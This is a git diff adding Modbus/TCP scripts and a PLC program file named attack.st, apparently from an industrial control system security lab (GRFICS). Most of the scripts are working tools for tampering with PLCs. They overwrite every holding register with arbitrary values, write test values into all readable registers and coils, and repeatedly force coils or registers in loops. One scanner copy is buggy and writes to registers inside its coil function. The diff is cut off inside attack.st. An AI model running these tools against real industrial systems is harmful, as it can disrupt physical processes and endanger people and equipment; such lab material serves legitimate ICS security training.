0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint 